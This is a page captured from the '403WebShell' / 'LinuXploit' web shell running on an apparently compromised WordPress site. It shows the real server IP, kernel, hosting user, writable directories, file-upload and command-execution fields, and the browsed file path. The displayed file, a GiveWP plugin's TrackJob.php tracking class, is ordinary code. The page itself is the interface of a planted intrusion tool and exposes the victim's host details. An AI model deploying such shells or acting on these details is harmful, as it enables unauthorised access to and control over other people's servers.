Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.147.126.199
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/Tracking/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/Tracking/TrackJob.php
<?php

namespace Give\Tracking;

use Give\Tracking\Contracts\TrackData;
use Give\Tracking\Enum\EventType;
use Give\Tracking\Repositories\TrackEvents;
use Give\Tracking\TrackingData\EditedDonationFormsData;

/**
 * Class TrackJob
 *
 * @package Give\Tracking
 * @since 2.10.0
 */
class TrackJob
{
    /**
     * @var TrackClient
     */
    private $trackClient;

    /**
     * @var TrackEvents
     */
    private $trackEvents;

    /**
     * TrackJob constructor.
     *
     * @param TrackClient $trackClient
     * @param TrackEvents $trackEvents
     */
    public function __construct(TrackClient $trackClient, TrackEvents $trackEvents)
    {
        $this->trackClient = $trackClient;
        $this->trackEvents = $trackEvents;
    }

    /**
     * Send tracks.
     *
     * @since 2.10.0
     */
    public function send()
    {
        $recordedTracks = $this->trackEvents->getTrackList();

        if ( ! $recordedTracks) {
            return;
        }

        foreach ($recordedTracks as $trackId => $className) {
            /* @var TrackData $class */
            $class = give($className);
            $eventType = new EventType($trackId);

            if ($class instanceof TrackData) {
                $this->trackClient->post($eventType, $class);
            }
        }

        $this->trackEvents->saveRequestTime();
        $this->trackEvents->removeTrackList();

        if (in_array(EditedDonationFormsData::class, $recordedTracks, true)) {
            $this->trackEvents->removeRecentlyEditedDonationFormList();
        }
    }

    /**
     * Send tracked information immediately.
     *
     * @since 2.10.2
     *
     * @param array $trackedEvents
     */
    public function sendNow($trackedEvents)
    {
        /* @var TrackEvents $trackEvents */
        $trackEvents = give(TrackEvents::class);

        foreach ($trackedEvents as $trackEvent) {
            give($trackEvent)->record();
        }

        $trackEvents->saveTrackList();
        $this->send();

        // Do not setup cron job.
        $class = TrackJobScheduler::class;
        add_filter("give_disable_hook-shutdown:{$class}@schedule", '__return_true');
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit